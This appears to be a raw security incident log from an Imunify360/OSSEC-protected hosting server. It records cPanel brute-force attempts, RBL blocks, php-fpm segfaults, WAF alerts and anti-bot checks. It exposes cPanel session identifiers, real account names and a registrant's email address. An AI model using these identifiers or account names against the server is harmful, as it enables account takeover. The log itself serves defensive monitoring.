# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-06-30 21:14:46 +0000] info [cpaneld] 20.212.169.175 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 30 21:14:23 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.99.130
country_id: 3057568
description:
Jun 30 21:17:38 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.99.130 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:18:10 ns5 kernel: php-fpm[2027351]: segfault at 7fff7bf4dfa8 ip 000000000072ad55 sp 00007fff7bf4dfa8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - contact@daula.tg [06/30/2026:21:18:37 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: contact@daula.tg


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.152.216
country_id: 2363686
description:
[2026-06-30 21:18:06 +0000] info [cpaneld] 102.64.152.216 NEW uljcqiuy:44M9hhu5dwec415T address=102.64.152.216,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:uljcqiuy:3n94MbVrwzvIxFWo:create_user_session,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-06-30 21:18:49 +0000] info [cpaneld] 167.99.236.81 - ayhhhyhk "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-06-30 21:19:51 +0000] info [cpaneld] 167.99.236.81 - iyfttuec "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user iyfttuec (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:21:30 ns5 kernel: php-fpm[2027711]: segfault at 7fff7bf4dfa8 ip 000000000072ad55 sp 00007fff7bf4dfa8 error 6 in php-fpm[400000+4ad000]


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 104.28.243.188
country_id: 3017382
description:
Denial of Service (DoS) attack was discovered from 104.28.243.188: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.106
country_id: 3996063
description:
Jun 30 21:21:54 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.106 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:22:03 ns5 kernel: php-fpm[2027712]: segfault at 7fff7bf4dfa8 ip 000000000072ad55 sp 00007fff7bf4dfa8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.106
country_id: 3996063
description:
Jun 30 21:22:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.106 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:24:45 ns5 kernel: php-fpm[2028430]: segfault at 7fff7bf4dfa8 ip 000000000072ad55 sp 00007fff7bf4dfa8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 21:24:45 +0000] info [cpaneld] 64.111.92.123 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.11.230
country_id: 241170
domain: lasnb.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:21-25.31.134.11.230||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.196.4
country_id: 1880251
description:
43.172.196.4 - - [30/Jun/2026:21:25:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777547&pdata=https%253A%252F%252Fmacite.tg%252F%253Fp%253D31344&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782854722 HTTP/1.1" 404 561 macite.tg "https://macite.tg/?p=31344" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.196.4


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.9.102
country_id: 241170
domain: lasnb.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:21-25.31.134.9.102||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.136.27.218
country_id: 6252001
domain: lasnb.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:21-25.45.136.27.218||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.1.115
country_id: 241170
domain: lasnb.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:21-25.31.134.1.115||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 203.147.140.203
country_id: 1831722
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:203.147.140.203||TA:203.147.140.203||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:29:18 ns5 kernel: php-fpm[2031119]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-06-30 21:30:32 +0000] info [cpaneld] 52.200.114.158 - whmcsadmin "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:31:03 ns5 kernel: php-fpm[2031421]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-06-30 21:31:11 +0000] info [cpaneld] 168.144.35.224 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-06-30 21:32:00 +0000] info [cpaneld] 20.212.169.175 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.244.146.177
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:21-33.162.244.146.177||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 162.244.146.177
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:mckinleycuningha||Email:lesterma1996@gmx.com||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:34:05 ns5 kernel: php-fpm[2032671]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:35:49 ns5 kernel: php-fpm[2033595]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:36:09 ns5 kernel: php-fpm[2033709]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-30 21:35:59 +0000] info [cpaneld] 51.83.5.75 NEW wcnyaruu:MH3ZH0JtSdVw3mnN address=51.83.5.75,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:37:03 ns5 kernel: php-fpm[2033851]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-06-30 21:37:53 +0000] info [cpaneld] 167.99.236.81 - pyllprbc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pyllprbc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-06-30 21:37:58 +0000] info [cpaneld] 168.144.35.224 - a.kesso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 30 21:37:14 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.50.35
country_id: 2963597
description:
Jun 30 21:37:24 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.50.35 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:38:57 ns5 kernel: php-fpm[2035074]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-06-30 21:38:34 +0000] info [cpaneld] 167.99.236.81 - rsgwljmi "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rsgwljmi (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.124.94.148
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/regards-croises-sur-la-diaspora-renforcer-la-prise-de-conscience-du-role-des-diasporas-dans-le-developpement-des-pays-dorigine/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.124.94.148
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/regards-croises-sur-la-diaspora-renforcer-la-prise-de-conscience-du-role-des-diasporas-dans-le-developpement-des-pays-dorigine/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:40:58 ns5 kernel: php-fpm[2037329]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 172.236.239.60
country_id: 6252001
description:
[2026-06-30 21:40:47 +0000] info [cpaneld] 172.236.239.60 NEW wcnyaruu:g_NEj1orjFm66Arz address=172.236.239.60,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-06-30 21:40:55 +0000] info [cpaneld] 20.212.169.175 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:41:57 ns5 kernel: php-fpm[2037562]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.79.150.207
country_id: 6252001
description:
[2026-06-30 21:41:57 +0000] info [whostmgrd] 45.79.150.207 - wcnyaruu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 45.79.150.207
country_id: 6252001
description:
[2026-06-30 21:41:04 +0000] info [cpaneld] 45.79.150.207 NEW wcnyaruu:7gEKS6VUxfVZWwXD address=45.79.150.207,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:42:02 ns5 kernel: php-fpm[2037845]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:44:13 ns5 kernel: php-fpm[2038866]: segfault at 7ffd8d9a0f20 ip 0000000000729c3b sp 00007ffd8d9a0f10 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.174
country_id: 1880251
description:
47.128.121.174 - - [30/Jun/2026:21:45:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195654&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Famadou-bah-oury-premier-ministre-de-la-guinee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782855923 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/amadou-bah-oury-premier-ministre-de-la-guinee/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.174


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.80
country_id: 1880251
description:
43.173.181.80 - - [30/Jun/2026:21:47:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802140&pdata=https%253A%252F%252Fmacite.tg%252F%253Fp%253D24730&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782856058 HTTP/1.1" 404 561 macite.tg "https://macite.tg/?p=24730" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.80


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:47:47 ns5 kernel: php-fpm[2041923]: segfault at 7ffdee91def8 ip 000000000072ad55 sp 00007ffdee91def8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.110
country_id: 1880251
description:
47.128.122.110 - - [30/Jun/2026:21:47:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869975&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Factualites%252Fpage%252F73%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782856078 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/actualites/page/73/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.110


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.73.138.152
country_id: 953987
description:
Jun 30 21:49:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.73.138.152 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.110
country_id: 1880251
description:
47.128.122.110 - - [30/Jun/2026:21:50:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921945&pdata=http%253A%252F%252Ftogodailynews.tg%252Fcategory%252Factualites%252Fpage%252F76%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782856243 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/category/actualites/page/76/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.110


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-06-30 21:50:45 +0000] info [cpaneld] 20.212.169.175 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-06-30 21:49:58 +0000] info [cpaneld] 52.200.114.158 - waywcbyw "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:51:11 ns5 kernel: php-fpm[2042133]: segfault at 7ffdee91def8 ip 000000000072ad55 sp 00007ffdee91def8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-06-30 21:51:38 +0000] info [cpaneld] 20.212.169.175 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 30 21:51:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:53:15 ns5 kernel: php-fpm[2042862]: segfault at 7ffdee91def8 ip 000000000072ad55 sp 00007ffdee91def8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>face aux intemp\xc3\xa9ries exceptionnelles qui frappent actuellement plusieurs pays du golfe de guin\xc3\xa9e, l\xe2\x80\x99ex\xc3\xa9cutif togolais a officiellement activ\xc3\xa9 le plan orsec (organisation de la r\xc3\xa9ponse de s\xc3\xa9curit\xc3\xa9 civile). ce m\xc3\xa9canisme d\xe2\x80\x99urgence nationale vise \xc3\xa0 coordonner l'ensemble des forces de secours pour faire face aux inondations et d\xc3\xa9g\xc3\xa2ts mat\xc3\xa9riels caus\xc3\xa9s par les fortes pluies de ces derniers jours.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le district autonome du grand lom\xc3\xa9 (dagl) ainsi que plusieurs localit\xc3\xa9s de l'int\xc3\xa9rieur du pays enregistrent d'importantes perturbations apr\xc3\xa8s les intemp\xc3\xa9ries qui ont eu cours le lundi 29 juin dernier : mont\xc3\xa9es des eaux, difficult\xc3\xa9s de circulation, chutes d'arbres et infrastructures endommag\xc3\xa9es.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31751,\"width\":\"514px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/abc.jpg\" alt=\"\" class=\"wp-image-31751\" style=\"width:514px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>mobilisation g\xc3\xa9n\xc3\xa9rale de la protection civile (anpc)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>fort heureusement, aucune perte en vie humaine n'est \xc3\xa0 d\xc3\xa9plorer \xc3\xa0 ce stade. les acteurs de la plateforme nationale de r\xc3\xa9duction des risques de catastrophes (pnrrc) sont d'ores et d\xc3\xa9j\xc3\xa0 d\xc3\xa9ploy\xc3\xa9s sur le terrain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les op\xc3\xa9rations de secours et d'assistance aux populations sinistr\xc3\xa9es sont plac\xc3\xa9es sous la coordination op\xc3\xa9rationnelle de l'agence nationale de la protection civile (anpc).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31645,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-78.png\" alt=\"\" class=\"wp-image-31645\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab les services comp\xc3\xa9tents assurent une veille permanente de l'\xc3\xa9volution de la situation m\xc3\xa9t\xc3\xa9orologique et poursuivent les interventions sur l'ensemble du territoire afin d'apporter une r\xc3\xa9ponse rapide \xc3\xa0 toute situation d'urgence \xc2\xbb</em>, a rassur\xc3\xa9 le ministre de la s\xc3\xa9curit\xc3\xa9, calixte madjoulba.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>les consignes de s\xc3\xa9curit\xc3\xa9 \xc3\xa0 respecter imp\xc3\xa9rativement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le minist\xc3\xa8re de la s\xc3\xa9curit\xc3\xa9 exhorte les citoyens \xc3\xa0 faire preuve de la plus grande prudence et \xc3\xa0 adopter des comportements responsables pour \xc3\xa9viter tout drame. il s\xe2\x80\x99agit&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>- sur la route, d\xe2\x80\x99\xc3\xa9viter rigoureusement de traverser les zones inond\xc3\xa9es, les cours d'eau en crue ou les ponts et ouvrages fragilis\xc3\xa9s par les eaux&nbsp;;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>- pour ce qui est de vos d\xc3\xa9placement, il faut limiter au strict minimum vos trajets non indispensables pendant les \xc3\xa9pisodes d'averses intenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>- face au vent et aux orages, ne stationnez pas sous les arbres, \xc3\xa0 proximit\xc3\xa9 des grands panneaux publicitaires ou sous des infrastructures mena\xc3\xa7ant de c\xc3\xa9der.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31459,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_payez-la-tvm-simple-et-pratique.jpg\" alt=\"\" class=\"wp-image-31459\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>num\xc3\xa9ros verts d'urgence (appels gratuits)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>si vous \xc3\xaates t\xc3\xa9moin d'un incident, d'une inondation majeure ou si vous vous trouvez en situation de d\xc3\xa9tresse, contactez imm\xc3\xa9diatement les secours via les num\xc3\xa9ros officiels suivants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>170&nbsp;: agence nationale de la protection civile (anpc)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>118&nbsp;: sapeurs-pompiers</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1014&nbsp;: centre national de commandement unifi\xc3\xa9 (cncu)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>117 et 1244&nbsp;: police nationale</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>172 : gendarmerie nationale</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/</em></strong><strong><em>79872224 </em></strong><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 21:54:49 +0000] info [cpaneld] 64.111.92.123 - LWS-531391 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user LWS-531391 (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:56:15 ns5 kernel: php-fpm[2044136]: segfault at 7ffdee91df48 ip 000000000072ad55 sp 00007ffdee91df48 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 21:56:18 +0000] info [cpaneld] 64.111.92.123 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:57:07 ns5 kernel: php-fpm[2044258]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 21:58:23 ns5 kernel: php-fpm[2044925]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.232.223
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:45.147.232.223||TA:45.147.232.223||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.196.237
country_id: 1880251
description:
43.172.196.237 - - [30/Jun/2026:21:58:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003157&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ftag%253Dindependance&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782856682 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?tag=independance" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.196.237


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-06-30 22:00:15 +0000] info [cpaneld] 168.144.35.224 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
